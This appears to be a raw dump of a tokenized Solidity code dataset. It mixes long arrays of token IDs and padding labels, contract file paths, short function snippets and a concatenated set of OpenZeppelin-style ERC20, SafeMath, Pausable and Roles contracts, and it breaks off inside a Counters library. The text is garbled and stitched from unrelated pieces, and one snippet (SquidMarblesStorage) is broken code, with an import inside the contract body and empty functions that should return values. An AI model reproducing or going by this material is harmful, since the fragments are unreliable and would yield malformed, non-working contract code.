31,
203,
565,
1758,
8843,
429,
1071,
284,
19156,
16936,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
11013,
951,
31,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
1071,
1699,
1359,
31,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
5034,
460,
1769,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
389,
8443,
16,
1758,
8808,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
1769,
203,
565,
871,
605,
321,
12,
2867,
8808,
628,
16,
2254,
5034,
460,
1769,
203,
203,
203,
565,
3885,
12,
203,
3639,
2254,
5034,
2172,
3088,
1283,
16,
203,
3639,
533,
3778,
1147,
461,
16,
203,
3639,
533,
3778,
1147,
5335,
203,
565,
262,
1071,
288,
203,
3639,
2172,
3088,
1283,
273,
15088,
3784,
31,
203,
3639,
1147,
461,
273,
315,
40,
991,
5128,
14432,
203,
3639,
1147,
5335,
273,
315,
40,
10586,
14432,
203,
3639,
284,
19156,
16936,
273,
1234,
18,
15330,
31,
203,
203,
565,
289,
203,
203,
203,
565,
445,
389,
13866,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
389,
1132,
13,
2713,
288,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
92,
20,
10019,
203,
3639,
2583,
12,
12296,
951,
63,
67,
2080,
65,
1545,
389,
1132,
1769,
203,
2
] |
./partial_match/11155111/0x369236a07A177A5496F2dcf6aBb47dBaC1D7E64F/sources/CoinBridgeToken.sol
|
* @notice Check that authorization is valid @param authorizer Authorizer's address @param nonce Nonce of the authorization @param validAfter The time after which this is valid (unix time) @param validBefore The time before which this is valid (unix time)/
|
function _requireValidAuthorization(
address authorizer,
bytes32 nonce,
uint256 validAfter,
uint256 validBefore
) internal view {
require(
block.timestamp > validAfter,
"EX02"
);
require(block.timestamp < validBefore, "EX01");
_requireUnusedAuthorization(authorizer, nonce);
}
| 3,534,530 |
[
1,
1564,
716,
6093,
353,
923,
225,
16761,
565,
25685,
1807,
1758,
225,
7448,
540,
25261,
434,
326,
6093,
225,
923,
4436,
565,
1021,
813,
1839,
1492,
333,
353,
923,
261,
21136,
813,
13,
225,
923,
4649,
282,
1021,
813,
1865,
1492,
333,
353,
923,
261,
21136,
813,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
389,
6528,
1556,
6063,
12,
203,
565,
1758,
16761,
16,
203,
565,
1731,
1578,
7448,
16,
203,
565,
2254,
5034,
923,
4436,
16,
203,
565,
2254,
5034,
923,
4649,
203,
225,
262,
2713,
1476,
288,
203,
565,
2583,
12,
203,
1377,
1203,
18,
5508,
405,
923,
4436,
16,
203,
1377,
315,
2294,
3103,
6,
203,
565,
11272,
203,
565,
2583,
12,
2629,
18,
5508,
411,
923,
4649,
16,
315,
2294,
1611,
8863,
203,
565,
389,
6528,
21106,
6063,
12,
4161,
1824,
16,
7448,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x04Ac9Acd6D694E022863227D971010Bd4f87415F/sources/contracts/Treasury.sol
|
@notice Redeem QWN for backing @param _amount Amount of QWN to redeem
|
function redeemQWN(uint256 _amount) external {
IQWN(QWN).burnFrom(msg.sender, _amount);
IERC20(WETH).transfer(msg.sender, (_amount * BACKING) / 1e9);
}
| 3,077,753 |
[
1,
426,
24903,
2238,
5665,
364,
15394,
225,
389,
8949,
225,
16811,
434,
2238,
5665,
358,
283,
24903,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
283,
24903,
53,
5665,
12,
11890,
5034,
389,
8949,
13,
3903,
288,
203,
3639,
26950,
5665,
12,
53,
5665,
2934,
70,
321,
1265,
12,
3576,
18,
15330,
16,
389,
8949,
1769,
203,
3639,
467,
654,
39,
3462,
12,
59,
1584,
44,
2934,
13866,
12,
3576,
18,
15330,
16,
261,
67,
8949,
380,
15842,
1360,
13,
342,
404,
73,
29,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xC4CA1aEc1c2D1b0f457204BE5825c1a3c9c9E9a1/sources/contracts/SquidMarblesStorage.sol
|
url of tokentoken valuetoken counterminting stop or notmaximum tokenmaximum limitto concate url
|
contract SquidMarblesStorage is ERC721URIStorageUpgradeable,OwnableUpgradeable,ISquidMarbles{
using StringsUpgradeable for uint256;
string public beforeUri;
string public afterUri;
uint256 public tokenValue;
uint256 public tokenCounter;
uint256 public maxNFTs;
uint256 public maxToken;
uint256 public maxLimit;
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol";
function uriConcate(string memory _before, uint256 _token_id, string memory _after) public virtual pure returns (string memory){
}
function updateDefaultUri(string memory _before, string memory _after) external virtual onlyOwner returns (bool){
}
function updateTokenURI(uint256 id) external onlyOwner virtual returns(bool){
}
function updateTokenValue(uint256 _value) external virtual onlyOwner returns(bool){
}
function updateMaxToken(uint256 _maxToken) external virtual onlyOwner returns(bool){
}
function updateMaxLimit(uint256 _maxLimit) external virtual onlyOwner returns(bool){
}
function mintFor(uint256 noOfTokens) payable virtual external returns(bool){
}
}
| 680,084 |
[
1,
718,
434,
946,
319,
969,
21748,
278,
969,
3895,
81,
474,
310,
2132,
578,
486,
15724,
1147,
15724,
1800,
869,
20570,
340,
880,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
348,
26595,
49,
6779,
1040,
3245,
225,
353,
4232,
39,
27,
5340,
3098,
3245,
10784,
429,
16,
5460,
429,
10784,
429,
16,
5127,
26595,
49,
6779,
1040,
95,
203,
565,
1450,
8139,
10784,
429,
364,
2254,
5034,
31,
203,
377,
203,
565,
533,
1071,
1865,
3006,
31,
203,
203,
565,
533,
1071,
1839,
3006,
31,
203,
282,
2254,
5034,
1071,
1147,
620,
31,
203,
565,
2254,
5034,
1071,
1147,
4789,
31,
203,
282,
2254,
5034,
1071,
943,
50,
4464,
87,
31,
203,
203,
282,
2254,
5034,
1071,
943,
1345,
31,
203,
203,
282,
2254,
5034,
1071,
943,
3039,
31,
203,
7010,
203,
203,
5666,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
17,
15097,
429,
19,
2316,
19,
654,
39,
27,
5340,
19,
9489,
19,
654,
39,
27,
5340,
3098,
3245,
10784,
429,
18,
18281,
14432,
203,
565,
445,
2003,
442,
71,
340,
12,
1080,
3778,
389,
5771,
16,
2254,
5034,
389,
2316,
67,
350,
16,
533,
3778,
389,
5205,
13,
1071,
5024,
16618,
1135,
261,
1080,
3778,
15329,
203,
3639,
203,
565,
289,
203,
203,
915,
1089,
1868,
3006,
12,
1080,
3778,
389,
5771,
16,
533,
3778,
389,
5205,
13,
3903,
5024,
1338,
5541,
1135,
261,
6430,
15329,
203,
4202,
203,
565,
289,
203,
203,
445,
1089,
1345,
3098,
12,
11890,
5034,
612,
13,
3903,
1338,
5541,
225,
5024,
1135,
12,
6430,
15329,
203,
3639,
203,
565,
289,
203,
203,
225,
445,
1089,
1345,
620,
12,
11890,
5034,
389,
1132,
13,
3903,
225,
5024,
1338,
5541,
1135,
12,
6430,
15329,
2
] |
// File: zos-lib/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.6.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.2;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-eth/contracts/math/SafeMath.sol
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-eth/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.2;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is Initializable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.5.2;
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.5.2;
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is Initializable, ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/access/Roles.sol
pragma solidity ^0.5.2;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-eth/contracts/access/roles/PauserRole.sol
pragma solidity ^0.5.2;
contract PauserRole is Initializable {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
function initialize(address sender) public initializer {
if (!isPauser(sender)) {
_addPauser(sender);
}
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/lifecycle/Pausable.sol
pragma solidity ^0.5.2;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Initializable, PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function initialize(address sender) public initializer {
PauserRole.initialize(sender);
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/token/ERC20/ERC20Pausable.sol
pragma solidity ^0.5.2;
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
*/
contract ERC20Pausable is Initializable, ERC20, Pausable {
function initialize(address sender) public initializer {
Pausable.initialize(sender);
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/math/Math.sol
pragma solidity ^0.5.2;
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Calculates the average of two numbers. Since these are integers,
* averages of an even and odd number cannot be represented, and will be
* rounded down.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: openzeppelin-eth/contracts/utils/Arrays.sol
pragma solidity ^0.5.2;
/**
* @title Arrays
* @dev Utility library of inline array functions
*/
library Arrays {
/**
* @dev Upper bound search function which is kind of binary search algorithm. It searches sorted
* array to find index of the element value. If element is found then returns its index otherwise
* it returns index of first element which is greater than searched value. If searched element is
* bigger than any array element function then returns first index after last element (i.e. all
* values inside the array are smaller than the target). Complexity O(log n).
* @param array The array sorted in ascending order.
* @param element The element's value to be found.
* @return The calculated index value. Returns 0 for empty array.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
// File: openzeppelin-eth/contracts/drafts/Counters.sol
pragma solidity ^0.5.2;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
